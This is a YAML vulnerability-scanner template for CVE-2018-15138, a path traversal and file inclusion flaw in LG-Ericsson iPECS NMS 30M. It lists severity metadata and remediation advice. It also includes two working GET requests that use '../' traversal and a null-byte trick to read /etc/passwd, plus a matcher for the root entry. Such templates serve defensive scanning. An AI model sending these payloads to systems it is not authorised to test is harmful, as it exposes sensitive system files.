id: CVE-2018-15138

info:
  name: LG-Ericsson iPECS NMS 30M - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Ericsson-LG iPECS NMS 30M allows local file inclusion via ipecs-cm/download?filename=../ URIs.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the target system, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://cxsecurity.com/issue/WLB-2018080070
    - https://www.exploit-db.com/exploits/45167/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-15138
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-15138
    cwe-id: CWE-22
    epss-score: 0.21114
    epss-percentile: 0.95976
    cpe: cpe:2.3:a:ericssonlg:ipecs_nms:30m-2.3gn:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: ericssonlg
    product: ipecs_nms
  tags: cve2018,cve,ericsson,lfi,traversal,edb,ericssonlg

http:
  - method: GET
    path:
      - "{{BaseURL}}/ipecs-cm/download?filename=../../../../../../../../../../etc/passwd&filepath=/home/wms/www/data"
      - "{{BaseURL}}/ipecs-cm/download?filename=jre-6u13-windows-i586-p.exe&filepath=../../../../../../../../../../etc/passwd%00.jpg"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a0046304402202b0ed4bce15d30705879eea7dd0299bd568936f4c93490a2eb2cf6a120bbec9d022058e551bd65de05595c3d6a81d60313c7062d261e34d7c7466911ba50e8cb87f8:922c64590222798bb761d5b6d8e72950